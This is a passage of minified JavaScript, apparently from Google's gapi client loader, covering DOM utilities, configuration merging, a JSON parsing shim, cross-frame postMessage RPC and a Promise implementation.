b;b=a.firstChild;)a.removeChild(b)};_.Gd=function(a,b){b.parentNode&&b.parentNode.insertBefore(a,b)};_.Hd=function(a){return a&&a.parentNode?a.parentNode.removeChild(a):null};_.Id=function(a){var b,c=a.parentNode;if(c&&11!=c.nodeType){if(a.removeNode)return a.removeNode(!1);for(;b=a.firstChild;)c.insertBefore(b,a);return _.Hd(a)}}; _.Jd=function(a){return Ic&&void 0!=a.children?a.children:(0,_.mb)(a.childNodes,function(a){return 1==a.nodeType})};_.Kd=function(a){return _.Ya(a)&&1==a.nodeType};_.Ld=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};_.sd=function(a){return 9==a.nodeType?a:a.ownerDocument||a.document}; _.Md=function(a,b){if("textContent"in a)a.textContent=b;else if(3==a.nodeType)a.data=String(b);else if(a.firstChild&&3==a.firstChild.nodeType){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.Fd(a),a.appendChild(_.sd(a).createTextNode(String(b)))};Ad=function(a){if(a&&"number"==typeof a.length){if(_.Ya(a))return"function"==typeof a.item||"string"==typeof a.item;if(_.Xa(a))return"function"==typeof a.item}return!1}; _.rd=function(a){this.Va=a||_.m.document||window.document};_.g=_.rd.prototype;_.g.Ea=_.td;_.g.RC=_.ea(0);_.g.mb=function(){return this.Va};_.g.S=function(a){return _.ud(this.Va,a)};_.g.getElementsByTagName=function(a,b){return(b||this.Va).getElementsByTagName(String(a))};_.g.ma=function(a,b,c){return _.zd(this.Va,arguments)};_.g.createElement=function(a){return this.Va.createElement(String(a))};_.g.createTextNode=function(a){return this.Va.createTextNode(String(a))}; _.g.vb=function(){var a=this.Va;return a.parentWindow||a.defaultView};_.g.appendChild=function(a,b){a.appendChild(b)};_.g.append=_.Ed;_.g.canHaveChildren=_.Dd;_.g.xe=_.Fd;_.g.GI=_.Gd;_.g.removeNode=_.Hd;_.g.qR=_.Id;_.g.xz=_.Jd;_.g.isElement=_.Kd;_.g.contains=_.Ld;_.g.Eh=_.ea(1); /* gapi.loader.OBJECT_CREATE_TEST_OVERRIDE &&*/ _.Nd=window;_.Qd=window.document;_.Rd=_.Nd.location;_.Sd=/\[native code\]/;_.Td=function(a,b,c){return a[b]=a[b]||c};_.D=function(){var a;if((a=Object.create)&&_.Sd.test(a))a=a(null);else{a={};for(var b in a)a[b]=void 0}return a};_.Ud=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};_.Vd=function(a,b){a=a||{};for(var c in a)_.Ud(a,c)&&(b[c]=a[c])};_.Wd=_.Td(_.Nd,"gapi",{}); _.Xd=function(a,b,c){var d=new RegExp("([#].*&|[#])"+b+"=([^&#]*)","g");b=new RegExp("([?#].*&|[?#])"+b+"=([^&#]*)","g");if(a=a&&(d.exec(a)||b.exec(a)))try{c=(0,window.decodeURIComponent)(a[2])}catch(e){}return c};_.Yd=new RegExp(/^/.source+/([a-zA-Z][-+.a-zA-Z0-9]*:)?/.source+/(\/\/[^\/?#]*)?/.source+/([^?#]*)?/.source+/(\?([^#]*))?/.source+/(#((#|[^#])*))?/.source+/$/.source); _.Zd=new RegExp(/(%([^0-9a-fA-F%]|[0-9a-fA-F]([^0-9a-fA-F%])?)?)*/.source+/%($|[^0-9a-fA-F]|[0-9a-fA-F]($|[^0-9a-fA-F]))/.source,"g");_.$d=new RegExp(/\/?\??#?/.source+"("+/[\/?#]/i.source+"|"+/[\uD800-\uDBFF]/i.source+"|"+/%[c-f][0-9a-f](%[89ab][0-9a-f]){0,2}(%[89ab]?)?/i.source+"|"+/%[0-9a-f]?/i.source+")$","i"); _.be=function(a,b,c){_.ae(a,b,c,"add","at")};_.ae=function(a,b,c,d,e){if(a[d+"EventListener"])a[d+"EventListener"](b,c,!1);else if(a[e+"tachEvent"])a[e+"tachEvent"]("on"+b,c)};_.ce=_.Td(_.Nd,"___jsl",_.D());_.Td(_.ce,"I",0);_.Td(_.ce,"hel",10);var ee,fe,ge,he,ie,je,ke;ee=function(a){var b=window.___jsl=window.___jsl||{};b[a]=b[a]||[];return b[a]};fe=function(a){var b=window.___jsl=window.___jsl||{};b.cfg=!a&&b.cfg||{};return b.cfg};ge=function(a){return"object"===typeof a&&/\[native code\]/.test(a.push)}; he=function(a,b,c){if(b&&"object"===typeof b)for(var d in b)!Object.prototype.hasOwnProperty.call(b,d)||c&&"___goc"===d&&"undefined"===typeof b[d]||(a[d]&&b[d]&&"object"===typeof a[d]&&"object"===typeof b[d]&&!ge(a[d])&&!ge(b[d])?he(a[d],b[d]):b[d]&&"object"===typeof b[d]?(a[d]=ge(b[d])?[]:{},he(a[d],b[d])):a[d]=b[d])}; ie=function(a){if(a&&!/^\s+$/.test(a)){for(;0==a.charCodeAt(a.length-1);)a=a.substring(0,a.length-1);try{var b=window.JSON.parse(a)}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ("+a+"\n)"))()}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ({"+a+"\n})"))()}catch(c){}return"object"===typeof b?b:{}}}; je=function(a,b){var c={___goc:void 0};a.length&&a[a.length-1]&&Object.hasOwnProperty.call(a[a.length-1],"___goc")&&"undefined"===typeof a[a.length-1].___goc&&(c=a.pop());he(c,b);a.push(c)}; ke=function(a){fe(!0);var b=window.___gcfg,c=ee("cu"),d=window.___gu;b&&b!==d&&(je(c,b),window.___gu=b);b=ee("cu");var e=window.document.scripts||window.document.getElementsByTagName("script")||[];d=[];var f=[];f.push.apply(f,ee("us"));for(var h=0;h<e.length;++h)for(var k=e[h],l=0;l<f.length;++l)k.src&&0==k.src.indexOf(f[l])&&d.push(k);0==d.length&&0<e.length&&e[e.length-1].src&&d.push(e[e.length-1]);for(e=0;e<d.length;++e)d[e].getAttribute("gapi_processed")||(d[e].setAttribute("gapi_processed",!0), (f=d[e])?(h=f.nodeType,f=3==h||4==h?f.nodeValue:f.textContent||f.innerText||f.innerHTML||""):f=void 0,(f=ie(f))&&b.push(f));a&&je(c,a);d=ee("cd");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);d=ee("ci");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);a=0;for(b=c.length;a<b;++a)he(fe(),c[a],!0)};_.H=function(a,b){var c=fe();if(!a)return c;a=a.split("/");for(var d=0,e=a.length;c&&"object"===typeof c&&d<e;++d)c=c[a[d]];return d===a.length&&void 0!==c?c:b}; _.le=function(a,b){var c;if("string"===typeof a){var d=c={};a=a.split("/");for(var e=0,f=a.length;e<f-1;++e){var h={};d=d[a[e]]=h}d[a[e]]=b}else c=a;ke(c)}; var me=function(){var a=window.__GOOGLEAPIS;a&&(a.googleapis&&!a["googleapis.config"]&&(a["googleapis.config"]=a.googleapis),_.Td(_.ce,"ci",[]).push(a),window.__GOOGLEAPIS=void 0)};me&&me();ke();_.w("gapi.config.get",_.H);_.w("gapi.config.update",_.le); _.ne=function(a,b){var c=b||window.document;if(c.getElementsByClassName)a=c.getElementsByClassName(a)[0];else{c=window.document;var d=b||c;a=d.querySelectorAll&&d.querySelector&&a?d.querySelector(a?"."+a:""):_.vd(c,"*",a,b)[0]||null}return a||null}; var xe,ye,ze,Ae,Be,Ce,De,Ee,Fe,Ge,He,Ie,Je,Ke,Le,Me,Ne,Oe,Pe,Qe,Re,Se,Te,Ue,Ve,We,Xe,Ze,$e,af,bf,ef,ff;ze=void 0;Ae=function(a){try{return _.m.JSON.parse.call(_.m.JSON,a)}catch(b){return!1}};Be=function(a){return Object.prototype.toString.call(a)};Ce=Be(0);De=Be(new Date(0));Ee=Be(!0);Fe=Be("");Ge=Be({});He=Be([]); Ie=function(a,b){if(b)for(var c=0,d=b.length;c<d;++c)if(a===b[c])throw new TypeError("Converting circular structure to JSON");d=typeof a;if("undefined"!==d){c=Array.prototype.slice.call(b||[],0);c[c.length]=a;b=[];var e=Be(a);if(null!=a&&"function"===typeof a.toJSON&&(Object.prototype.hasOwnProperty.call(a,"toJSON")||(e!==He||a.constructor!==Array&&a.constructor!==Object)&&(e!==Ge||a.constructor!==Array&&a.constructor!==Object)&&e!==Fe&&e!==Ce&&e!==Ee&&e!==De))return Ie(a.toJSON.call(a),c);if(null== a)b[b.length]="null";else if(e===Ce)a=Number(a),(0,window.isNaN)(a)||(0,window.isNaN)(a-a)?a="null":-0===a&&0>1/a&&(a="-0"),b[b.length]=String(a);else if(e===Ee)b[b.length]=String(!!Number(a));else{if(e===De)return Ie(a.toISOString.call(a),c);if(e===He&&Be(a.length)===Ce){b[b.length]="[";var f=0;for(d=Number(a.length)>>0;f<d;++f)f&&(b[b.length]=","),b[b.length]=Ie(a[f],c)||"null";b[b.length]="]"}else if(e==Fe&&Be(a.length)===Ce){b[b.length]='"';f=0;for(c=Number(a.length)>>0;f<c;++f)d=String.prototype.charAt.call(a, f),e=String.prototype.charCodeAt.call(a,f),b[b.length]="\b"===d?"\\b":"\f"===d?"\\f":"\n"===d?"\\n":"\r"===d?"\\r":"\t"===d?"\\t":"\\"===d||'"'===d?"\\"+d:31>=e?"\\u"+(e+65536).toString(16).substr(1):32<=e&&65535>=e?d:"\ufffd";b[b.length]='"'}else if("object"===d){b[b.length]="{";d=0;for(f in a)Object.prototype.hasOwnProperty.call(a,f)&&(e=Ie(a[f],c),void 0!==e&&(d++&&(b[b.length]=","),b[b.length]=Ie(f),b[b.length]=":",b[b.length]=e));b[b.length]="}"}else return}return b.join("")}};Je=/[\0-\x07\x0b\x0e-\x1f]/; Ke=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*[\0-\x1f]/;Le=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\[^\\\/"bfnrtu]/;Me=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\u([0-9a-fA-F]{0,3}[^0-9a-fA-F])/;Ne=/"([^\0-\x1f\\"]|\\[\\\/"bfnrt]|\\u[0-9a-fA-F]{4})*"/g;Oe=/-?(0|[1-9][0-9]*)(\.[0-9]+)?([eE][-+]?[0-9]+)?/g;Pe=/[ \t\n\r]+/g;Qe=/[^"]:/;Re=/""/g;Se=/true|false|null/g;Te=/00/;Ue=/[\{]([^0\}]|0[^:])/;Ve=/(^|\[)[,:]|[,:](\]|\}|[,:]|$)/;We=/[^\[,:][\[\{]/;Xe=/^(\{|\}|\[|\]|,|:|0)+/;Ze=/\u2028/g; $e=/\u2029/g; af=function(a){a=String(a);if(Je.test(a)||Ke.test(a)||Le.test(a)||Me.test(a))return!1;var b=a.replace(Ne,'""');b=b.replace(Oe,"0");b=b.replace(Pe,"");if(Qe.test(b))return!1;b=b.replace(Re,"0");b=b.replace(Se,"0");if(Te.test(b)||Ue.test(b)||Ve.test(b)||We.test(b)||!b||(b=b.replace(Xe,"")))return!1;a=a.replace(Ze,"\\u2028").replace($e,"\\u2029");b=void 0;try{b=ze?[Ae(a)]:eval("(function (var_args) {\n return Array.prototype.slice.call(arguments, 0);\n})(\n"+a+"\n)")}catch(c){return!1}return b&&1=== b.length?b[0]:!1};bf=function(){var a=((_.m.document||{}).scripts||[]).length;if((void 0===xe||void 0===ze||ye!==a)&&-1!==ye){xe=ze=!1;ye=-1;try{try{ze=!!_.m.JSON&&'{"a":[3,true,"1970-01-01T00:00:00.000Z"]}'===_.m.JSON.stringify.call(_.m.JSON,{a:[3,!0,new Date(0)],c:function(){}})&&!0===Ae("true")&&3===Ae('[{"a":3}]')[0].a}catch(b){}xe=ze&&!Ae("[00]")&&!Ae('"\u0007"')&&!Ae('"\\0"')&&!Ae('"\\v"')}finally{ye=a}}};_.cf=function(a){if(-1===ye)return!1;bf();return(xe?Ae:af)(a)}; _.df=function(a){if(-1!==ye)return bf(),ze?_.m.JSON.stringify.call(_.m.JSON,a):Ie(a)};ef=!Date.prototype.toISOString||"function"!==typeof Date.prototype.toISOString||"1970-01-01T00:00:00.000Z"!==(new Date(0)).toISOString(); ff=function(){var a=Date.prototype.getUTCFullYear.call(this);return[0>a?"-"+String(1E6-a).substr(1):9999>=a?String(1E4+a).substr(1):"+"+String(1E6+a).substr(1),"-",String(101+Date.prototype.getUTCMonth.call(this)).substr(1),"-",String(100+Date.prototype.getUTCDate.call(this)).substr(1),"T",String(100+Date.prototype.getUTCHours.call(this)).substr(1),":",String(100+Date.prototype.getUTCMinutes.call(this)).substr(1),":",String(100+Date.prototype.getUTCSeconds.call(this)).substr(1),".",String(1E3+Date.prototype.getUTCMilliseconds.call(this)).substr(1), "Z"].join("")};Date.prototype.toISOString=ef?ff:Date.prototype.toISOString; _.w("gadgets.json.stringify",_.df);_.w("gadgets.json.parse",_.cf); _.Xj=window.gapi&&window.gapi.util||{}; _.Zj=function(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);/^[\w\-]*:\/\//.test(a)||(a=window.location.href);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!==a&&"chrome-search"!==a&&"app"!==a)throw Error("L`"+a);c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0, d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}; _.Xj.Qa=function(a){return _.Zj(a)}; _.qe=window.console;_.ue=function(a){_.qe&&_.qe.log&&_.qe.log(a)};_.ve=function(){}; _.I=_.I||{}; _.I=_.I||{}; (function(){var a=null;_.I.xc=function(b){var c="undefined"===typeof b;if(null!==a&&c)return a;var d={};b=b||window.location.href;var e=b.indexOf("?"),f=b.indexOf("#");b=(-1===f?b.substr(e+1):[b.substr(e+1,f-e-1),"&",b.substr(f+1)].join("")).split("&");e=window.decodeURIComponent?window.decodeURIComponent:window.unescape;f=0;for(var h=b.length;f<h;++f){var k=b[f].indexOf("=");if(-1!==k){var l=b[f].substring(0,k);k=b[f].substring(k+1);k=k.replace(/\+/g," ");try{d[l]=e(k)}catch(n){}}}c&&(a=d);return d}; _.I.xc()})(); _.w("gadgets.util.getUrlParameters",_.I.xc); _.Xd(_.Nd.location.href,"rpctoken")&&_.be(_.Qd,"unload",function(){}); var dm=function(){this.$r={tK:Xl?"../"+Xl:null,NQ:Yl,GH:Zl,C9:$l,eu:am,l$:bm};this.Ee=_.Nd;this.gK=this.JQ;this.tR=/MSIE\s*[0-8](\D|$)/.test(window.navigator.userAgent);if(this.$r.tK){this.Ee=this.$r.GH(this.Ee,this.$r.tK);var a=this.Ee.document,b=a.createElement("script");b.setAttribute("type","text/javascript");b.text="window.doPostMsg=function(w,s,o) {window.setTimeout(function(){w.postMessage(s,o);},0);};";a.body.appendChild(b);this.gK=this.Ee.doPostMsg}this.kD={};this.FD={};a=(0,_.A)(this.hA, this);_.be(this.Ee,"message",a);_.Td(_.ce,"RPMQ",[]).push(a);this.Ee!=this.Ee.parent&&cm(this,this.Ee.parent,'{"h":"'+(0,window.escape)(this.Ee.name)+'"}',"*")},em=function(a){var b=null;0===a.indexOf('{"h":"')&&a.indexOf('"}')===a.length-2&&(b=(0,window.unescape)(a.substring(6,a.length-2)));return b},fm=function(a){if(!/^\s*{/.test(a))return!1;a=_.cf(a);return null!==a&&"object"===typeof a&&!!a.g}; dm.prototype.hA=function(a){var b=String(a.data);(0,_.ve)("gapi.rpc.receive("+$l+"): "+(!b||512>=b.length?b:b.substr(0,512)+"... ("+b.length+" bytes)"));var c=0!==b.indexOf("!_");c||(b=b.substring(2));var d=fm(b);if(!c&&!d){if(!d&&(c=em(b))){if(this.kD[c])this.kD[c]();else this.FD[c]=1;return}var e=a.origin,f=this.$r.NQ;this.tR?_.Nd.setTimeout(function(){f(b,e)},0):f(b,e)}};dm.prototype.Dc=function(a,b){".."===a||this.FD[a]?(b(),delete this.FD[a]):this.kD[a]=b}; var cm=function(a,b,c,d){var e=fm(c)?"":"!_";(0,_.ve)("gapi.rpc.send("+$l+"): "+(!c||512>=c.length?c:c.substr(0,512)+"... ("+c.length+" bytes)"));a.gK(b,e+c,d)};dm.prototype.JQ=function(a,b,c){a.postMessage(b,c)};dm.prototype.send=function(a,b,c){(a=this.$r.GH(this.Ee,a))&&!a.closed&&cm(this,a,b,c)}; var gm,hm,im,jm,km,lm,mm,nm,Xl,$l,om,pm,qm,rm,Zl,am,sm,tm,ym,zm,Bm,bm,Dm,Cm,um,vm,Em,Yl,Fm,Gm;gm=0;hm=[];im={};jm={};km=_.I.xc;lm=km();mm=lm.rpctoken;nm=lm.parent||_.Qd.referrer;Xl=lm.rly;$l=Xl||(_.Nd!==_.Nd.top||_.Nd.opener)&&_.Nd.name||"..";om=null;pm={};qm=function(){};rm={send:qm,Dc:qm}; Zl=function(a,b){"/"==b.charAt(0)&&(b=b.substring(1),a=_.Nd.top);for(b=b.split("/");b.length;){var c=b.shift();"{"==c.charAt(0)&&"}"==c.charAt(c.length-1)&&(c=c.substring(1,c.length-1));if(".."===c)a=a==a.parent?a.opener:a.parent;else if(".."!==c&&a.frames[c]){if(a=a.frames[c],!("postMessage"in a))throw"Not a window";}else return null}return a};am=function(a){return(a=im[a])&&a.zk}; sm=function(a){if(a.f in{})return!1;var b=a.t,c=im[a.r];a=a.origin;return c&&(c.zk===b||!c.zk&&!b)&&(a===c.origin||"*"===c.origin)};tm=function(a){var b=a.id.split("/"),c=b[b.length-1],d=a.origin;return function(a){var b=a.origin;return a.f==c&&(d==b||"*"==d)}};_.wm=function(a,b,c){a=um(a);jm[a.name]={Lg:b,Nq:a.Nq,zo:c||sm};vm()};_.xm=function(a){delete jm[um(a).name]};ym={};zm=function(a,b){(a=ym["_"+a])&&a[1](this)&&a[0].call(this,b)}; Bm=function(a){var b=a.c;if(!b)return qm;var c=a.r,d=a.g?"legacy__":"";return function(){var a=[].slice.call(arguments,0);a.unshift(c,d+"__cb",null,b);_.Am.apply(null,a)}};bm=function(a){om=a};Dm=function(a){pm[a]||(pm[a]=_.Nd.setTimeout(function(){pm[a]=!1;Cm(a)},0))};Cm=function(a){var b=im[a];if(b&&b.ready){var c=b.dC;for(b.dC=[];c.length;)rm.send(a,_.df(c.shift()),b.origin)}};um=function(a){return 0===a.indexOf("legacy__")?{name:a.substring(8),Nq:!0}:{name:a,Nq:!1}}; vm=function(){for(var a=_.H("rpc/residenceSec")||60,b=(new Date).getTime()/1E3,c=0,d;d=hm[c];++c){var e=d.hm;if(!e||0<a&&b-d.timestamp>a)hm.splice(c,1),--c;else{var f=e.s,h=jm[f]||jm["*"];if(h)if(hm.splice(c,1),--c,e.origin=d.origin,d=Bm(e),e.callback=d,h.zo(e)){if("__cb"!==f&&!!h.Nq!=!!e.g)break;e=h.Lg.apply(e,e.a);void 0!==e&&d(e)}else(0,_.ve)("gapi.rpc.rejected("+$l+"): "+f)}}};Em=function(a,b,c){hm.push({hm:a,origin:b,timestamp:(new Date).getTime()/1E3});c||vm()}; Yl=function(a,b){a=_.cf(a);Em(a,b,!1)};Fm=function(a){for(;a.length;)Em(a.shift(),this.origin,!0);vm()};Gm=function(a){var b=!1;a=a.split("|");var c=a[0];0<=c.indexOf("/")&&(b=!0);return{id:c,origin:a[1]||"*",QA:b}}; _.Hm=function(a,b,c,d){var e=Gm(a);d&&(_.Nd.frames[e.id]=_.Nd.frames[e.id]||d);a=e.id;if(!im.hasOwnProperty(a)){c=c||null;d=e.origin;if(".."===a)d=_.Xj.Qa(nm),c=c||mm;else if(!e.QA){var f=_.Qd.getElementById(a);f&&(f=f.src,d=_.Xj.Qa(f),c=c||km(f).rpctoken)}"*"===e.origin&&d||(d=e.origin);im[a]={zk:c,dC:[],origin:d,xY:b,mK:function(){var b=a;im[b].ready=1;Cm(b)}};rm.Dc(a,im[a].mK)}return im[a].mK}; _.Am=function(a,b,c,d){a=a||"..";_.Hm(a);a=a.split("|",1)[0];var e=b,f=[].slice.call(arguments,3),h=c,k=$l,l=mm,n=im[a],p=k,q=Gm(a);if(n&&".."!==a){if(q.QA){if(!(l=im[a].xY)){l=om?om.substring(1).split("/"):[$l];p=l.length-1;for(var t=_.Nd.parent;t!==_.Nd.top;){var x=t.parent;if(!p--){for(var v=null,y=x.frames.length,F=0;F<y;++F)x.frames[F]==t&&(v=F);l.unshift("{"+v+"}")}t=x}l="/"+l.join("/")}p=l}else p=k="..";l=n.zk}h&&q?(n=sm,q.QA&&(n=tm(q)),ym["_"+ ++gm]=[h,n],h=gm):h=null;f={s:e,f:k,r:p,t:l,c:h, a:f};e=um(e);f.s=e.name;f.g=e.Nq;im[a].dC.push(f);Dm(a)};if("function"===typeof _.Nd.postMessage||"object"===typeof _.Nd.postMessage)rm=new dm,_.wm("__cb",zm,function(){return!0}),_.wm("_processBatch",Fm,function(){return!0}),_.Hm(".."); _.Of=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}};_.Pf=function(a,b){a:{for(var c=a.length,d=_.u(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:_.u(a)?a.charAt(b):a[b]};_.Qf=[];_.Rf=[];_.Sf=!1;_.Tf=function(a){_.Qf[_.Qf.length]=a;if(_.Sf)for(var b=0;b<_.Rf.length;b++)a((0,_.A)(_.Rf[b].wrap,_.Rf[b]))}; _.Hg=function(a){return function(){return a}}(!0); var Ng;_.Ig=function(a){if(Error.captureStackTrace)Error.captureStackTrace(this,_.Ig);else{var b=Error().stack;b&&(this.stack=b)}a&&(this.message=String(a))};_.z(_.Ig,Error);_.Ig.prototype.name="CustomError";_.Jg=function(a,b){for(var c in a)if(!(c in b)||a[c]!==b[c])return!1;for(c in b)if(!(c in a))return!1;return!0};_.Kg=function(a){var b={},c;for(c in a)b[c]=a[c];return b};_.Lg=function(a,b){a.src=_.Sc(b)};_.Mg=function(a){return a};Ng=function(a,b){this.FQ=a;this.lY=b;this.mv=0;this.Pe=null}; Ng.prototype.get=function(){if(0<this.mv){this.mv--;var a=this.Pe;this.Pe=a.next;a.next=null}else a=this.FQ();return a};Ng.prototype.put=function(a){this.lY(a);100>this.mv&&(this.mv++,a.next=this.Pe,this.Pe=a)}; var Og,Qg,Rg,Pg;Og=function(a){_.m.setTimeout(function(){throw a;},0)};_.Sg=function(a){a=Pg(a);!_.Xa(_.m.setImmediate)||_.m.Window&&_.m.Window.prototype&&!_.Db("Edge")&&_.m.Window.prototype.setImmediate==_.m.setImmediate?(Qg||(Qg=Rg()),Qg(a)):_.m.setImmediate(a)}; Rg=function(){var a=_.m.MessageChannel;"undefined"===typeof a&&"undefined"!==typeof window&&window.postMessage&&window.addEventListener&&!_.Db("Presto")&&(a=function(){var a=window.document.createElement("IFRAME");a.style.display="none";a.src="";window.document.documentElement.appendChild(a);var b=a.contentWindow;a=b.document;a.open();a.write("");a.close();var c="callImmediate"+Math.random(),d="file:"==b.location.protocol?"*":b.location.protocol+"//"+b.location.host;a=(0,_.A)(function(a){if(("*"== d||a.origin==d)&&a.data==c)this.port1.onmessage()},this);b.addEventListener("message",a,!1);this.port1={};this.port2={postMessage:function(){b.postMessage(c,d)}}});if("undefined"!==typeof a&&!_.Ib()){var b=new a,c={},d=c;b.port1.onmessage=function(){if(_.r(c.next)){c=c.next;var a=c.cb;c.cb=null;a()}};return function(a){d.next={cb:a};d=d.next;b.port2.postMessage(0)}}return"undefined"!==typeof window.document&&"onreadystatechange"in window.document.createElement("SCRIPT")?function(a){var b=window.document.createElement("SCRIPT"); b.onreadystatechange=function(){b.onreadystatechange=null;b.parentNode.removeChild(b);b=null;a();a=null};window.document.documentElement.appendChild(b)}:function(a){_.m.setTimeout(a,0)}};Pg=_.Mg;_.Tf(function(a){Pg=a}); var Tg=function(){this.Ow=this.Co=null},Vg=new Ng(function(){return new Ug},function(a){a.reset()});Tg.prototype.add=function(a,b){var c=Vg.get();c.set(a,b);this.Ow?this.Ow.next=c:this.Co=c;this.Ow=c};Tg.prototype.remove=function(){var a=null;this.Co&&(a=this.Co,this.Co=this.Co.next,this.Co||(this.Ow=null),a.next=null);return a};var Ug=function(){this.next=this.scope=this.Lg=null};Ug.prototype.set=function(a,b){this.Lg=a;this.scope=b;this.next=null}; Ug.prototype.reset=function(){this.next=this.scope=this.Lg=null}; var Wg,Xg,Yg,Zg,ah;_.$g=function(a,b){Wg||Xg();Yg||(Wg(),Yg=!0);Zg.add(a,b)};Xg=function(){if(-1!=String(_.m.Promise).indexOf("[native code]")){var a=_.m.Promise.resolve(void 0);Wg=function(){a.then(ah)}}else Wg=function(){_.Sg(ah)}};Yg=!1;Zg=new Tg;ah=function(){for(var a;a=Zg.remove();){try{a.Lg.call(a.scope)}catch(b){Og(b)}Vg.put(a)}Yg=!1}; _.bh=function(a){a.prototype.then=a.prototype.then;a.prototype.$goog_Thenable=!0};_.ch=function(a){if(!a)return!1;try{return!!a.$goog_Thenable}catch(b){return!1}};var eh,fh,ph,nh;_.dh=function(a,b){this.Da=0;this.Si=void 0;this.Tm=this.yj=this.hb=null;this.iu=this.bz=!1;if(a!=_.Va)try{var c=this;a.call(b,function(a){c.Xg(2,a)},function(a){c.Xg(3,a)})}catch(d){this.Xg(3,d)}};eh=function(){this.next=this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};eh.prototype.reset=function(){this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};fh=new Ng(function(){return new eh},function(a){a.reset()});_.gh=function(a,b,c){var d=fh.get();d.Yq=a;d.On=b;d.context=c;return d}; _.hh=function(a){if(a instanceof _.dh)return a;var b=new _.dh(_.Va);b.Xg(2,a);return b};_.ih=function(a){return new _.dh(function(b,c){c(a)})};_.kh=function(a,b,c){jh(a,b,c,null)||_.$g(_.Of(b,a))};_.mh=function(){var a,b,c=new _.dh(function(c,e){a=c;b=e});return new lh(c,a,b)};_.dh.prototype.then=function(a,b,c){return nh(this,_.Xa(a)?a:null,_.Xa(b)?b:null,c)};_.bh(_.dh);_.dh.prototype.Aw=function(a,b){return nh(this,null,a,b)}; _.dh.prototype.cancel=function(a){0==this.Da&&_.$g(function(){var b=new oh(a);ph(this,b)},this)};ph=function(a,b){if(0==a.Da)if(a.hb){var c=a.hb;if(c.yj){for(var d=0,e=null,f=null,h=c.yj;h&&(h.Wo||(d++,h.Ok==a&&(e=h),!(e&&1<d)));h=h.next)e||(f=h);e&&(0==c.Da&&1==d?ph(c,b):(f?(d=f,d.next==c.Tm&&(c.Tm=d),d.next=d.next.next):qh(c),rh(c,e,3,b)))}a.hb=null}else a.Xg(3,b)};_.th=function(a,b){a.yj||2!=a.Da&&3!=a.Da||sh(a);a.Tm?a.Tm.next=b:a.yj=b;a.Tm=b}; nh=function(a,b,c,d){var e=_.gh(null,null,null);e.Ok=new _.dh(function(a,h){e.Yq=b?function(c){try{var e=b.call(d,c);a(e)}catch(n){h(n)}}:a;e.On=c?function(b){try{var e=c.call(d,b);!_.r(e)&&b instanceof oh?h(b):a(e)}catch(n){h(n)}}:h});e.Ok.hb=a;_.th(a,e);return e.Ok};_.dh.prototype.z_=function(a){this.Da=0;this.Xg(2,a)};_.dh.prototype.A_=function(a){this.Da=0;this.Xg(3,a)}; _.dh.prototype.Xg=function(a,b){0==this.Da&&(this===b&&(a=3,b=new TypeError("Promise cannot resolve to itself")),this.Da=1,jh(b,this.z_,this.A_,this)||(this.Si=b,this.Da=a,this.hb=null,sh(this),3!=a||b instanceof oh||uh(this,b)))}; var jh=function(a,b,c,d){if(a instanceof _.dh)return _.th(a,_.gh(b||_.Va,c||null,d)),!0;if(_.ch(a))return a.then(b,c,d),!0;if(_.Ya(a))try{var e=a.then;if(_.Xa(e))return vh(a,e,b,c,d),!0}catch(f){return c.call(d,f),!0}return!1},vh=function(a,b,c,d,e){var f=!1,h=function(a){f||(f=!0,c.call(e,a))},k=function(a){f||(f=!0,d.call(e,a))};try{b.call(a,h,k)}catch(l){k(l)}},sh=function(a){a.bz||(a.bz=!0,_.$g(a.eR,a))},qh=function(a){var b=null;a.yj&&(b=a.yj,a.yj=b.next,b.next=null);a.yj||(a.Tm=null);return b}; _.dh.prototype.eR=function(){for(var a;a=qh(this);)rh(this,a,this.Da,this.Si);this.bz=!1};var rh=function(a,b,c,d){if(3==c&&b.On&&!b.Wo)for(;a&&a.iu;a=a.hb)a.iu=!1;if(b.Ok)b.Ok.hb=null,wh(b,c,d);else try{b.Wo?b.Yq.call(b.context):wh(b,c,d)}catch(e){xh.call(null,e)}fh.put(b)},wh=function(a,b,c){2==b?a.Yq.call(a.context,c):a.On&&a.On.call(a.context,c)},uh=function(a,b){a.iu=!0;_.$g(function(){a.iu&&xh.call(null,b)})},xh=Og,oh=function(a){_.Ig.call(this,a)};_.z(oh,_.Ig);oh.prototype.name="cancel"; var lh=function(a,b,c){this.promise=a;this.resolve=b;this.reject=c}; _.Im=function(a){return new _.dh(a)}; _.Jm=_.Jm||{};_.Jm.oT=function(){var a=0,b=0;window.self.innerHeight?(a=window.self.innerWidth,b=window.self.innerHeight):window.document.documentElement&&window.document.documentElement.clientHeight?(a=window.document.documentElement.clientWidth,b=window.document.documentElement.clientHeight):window.document.body&&(a=window.document.body.clientWidth,b=window.document.body.clientHeight);return{width:a,height:b}}; _.Jm=_.Jm||{}; (function(){function a(a,c){window.getComputedStyle(a,"").getPropertyValue(c).match(/^([0-9]+)/);return(0,window.parseInt)(RegExp.$1,10)}_.Jm.Xc=function(){var 